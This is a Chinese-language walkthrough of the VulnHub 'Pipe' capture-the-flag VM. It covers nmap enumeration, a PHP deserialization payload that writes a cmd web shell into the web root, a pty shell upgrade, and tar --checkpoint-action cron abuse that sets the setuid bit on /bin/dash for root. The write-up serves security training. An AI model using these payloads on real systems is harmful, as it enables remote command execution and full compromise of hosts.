1) 下载镜像，虚拟机启动
https://download.vulnhub.com/devrandom/pipe.ova
2) nmap 扫描探测
Nmap 扫描开路：
╰─ nmap -Pn -sV -p- 10.10.202.0/24
Nmap scan report for 10.10.202.247
Host is up (0.0068s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
80/tcp open http Apache httpd
111/tcp open rpcbind 2-4 (RPC #100000)
34083/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.49 seconds
3）分别使用nmap 对应的脚本服务进行深层次的扫描
╰─ sudo nmap -Pn -p 111 --reason 10.10.202.247 --script rpcinfo
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:22 CST
Nmap scan report for 10.10.202.247
Host is up, received arp-response (0.00059s latency).
PORT STATE SERVICE REASON
111/tcp open rpcbind syn-ack ttl 64
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 34083/tcp status
|_ 100024 1 55538/udp status
MAC Address: 00:0C:29:B8:DE:3D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
─ sudo nmap -Pn -p 22 --reason 10.10.202.247 --script ssh-hostkey
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:24 CST
Nmap scan report for 10.10.202.247
Host is up, received arp-response (0.00027s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
| ssh-hostkey:
| 1024 16:48:50:89:e7:c9:1f:90:ff:15:d8:3e:ce:ea:53:8f (DSA)
| 2048 ca:f9:85:be:d7:36:47:51:4f:e6:27:84:72:eb:e8:18 (RSA)
| 256 d8:47:a0:87:84:b2:eb:f5:be:fc:1c:f1:c9:7f:e3:52 (ECDSA)
|_ 256 7b:00:f7:dc:31:24:18:cf:e4:0a:ec:7a:32:d9:f6:a2 (ED25519)
MAC Address: 00:0C:29:B8:DE:3D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds
╰─ sudo nmap -Pn -p 80 --reason 10.10.202.247 --script http-auth
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:25 CST
Nmap scan report for 10.10.202.247
Host is up, received arp-response (0.00026s latency).
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=index.php
MAC Address: 00:0C:29:B8:DE:3D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
4）分析访问web的80端口
http://10.10.202.247/index.php
burpsuit 来开道，备注，设置显示 Unhide from fields
抓包修改http get 方式为post
param=O%3A4%3A%22Info%22%3A4%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A9%3A%22firstname%22%3Bs%3A4%3A%22Rene%22%3Bs%3A7%3A%22surname%22%3Bs%3A8%3A%22Margitte%22%3Bs%3A7%3A%22artwork%22%3Bs%3A23%3A%22The+Treachery+of+Images%22%3B%7D
url dencode 解码为json格式的数据
O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}
通过分析返回的数据，存在相关文件和目录 scriptz/php.js 的文件
function serialize(mixed_value) {
// discuss at: http://phpjs.org/functions/serialize/
// original by: Arpad Ray (mailto:arpad@php.net)
// improved by: Dino
// improved by: Le Torbi (http://www.letorbi.de/)
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)
// bugfixed by: Andrej Pavlovic
// bugfixed by: Garagoth
// bugfixed by: Russell Walker (http://www.nbill.co.uk/)
// bugfixed by: Jamie Beck (http://www.terabit.ca/)
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)
// bugfixed by: Ben (http://benblume.co.uk/)
// input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.html)
// input by: Martin (http://www.erlenwiese.de/)
// note: We feel the main purpose of this function should be to ease the transport of data between php & js
// note: Aiming for PHP-compatibility, we have to translate objects to arrays
// example 1: serialize(['Kevin', 'van', 'Zonneveld']);
// returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'
// example 2: serialize({firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'});
// returns 2: 'a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}'
分析可知，通过json构造脚本，生成木马文件
元数据：
O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}
构造数据
O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:60:"<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>";}
Encode
O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22%2Fvar%2Fwww%2Fhtml%2Fscriptz%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A60%3A%22%0A%3C%3Fphp%20echo%20%27%3Cpre%3E%27%3B%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20echo%20%27%3C%2Fpre%3E%27%3B%20%3F%3E%22%3B%7D
5）反弹shell
6）进行提权操作
先切换到bash shell
python -c 'import pty;pty.spawn("/bin/bash")'
使用crontab进行提权
当用户执行tar二进制文件时，可以滥用Tar的--checkpoint-action参数来执行任意代码。 --checkpoint-action作为tar功能存在，允许在达到前缀为--checkpoint-action = exec = COMMAND-HERE的文件时二进制执行命令
$ pwd
/var/www/html/scriptz
$ cd /home/rene/backup
$ pwd
/home/rene/backup
$ echo >
--checkpoint=1;
$ echo > --checkpoint-action=exec=sh\ shell.sh;
$ echo 'chmod u+s /bin/dash' > shell.sh
$ chmod +x shell.sh
等待计划任务下一次执行，就可以获取root权限
提权方式2，可以通过内核提权，这里好像会导致系统崩溃！！！
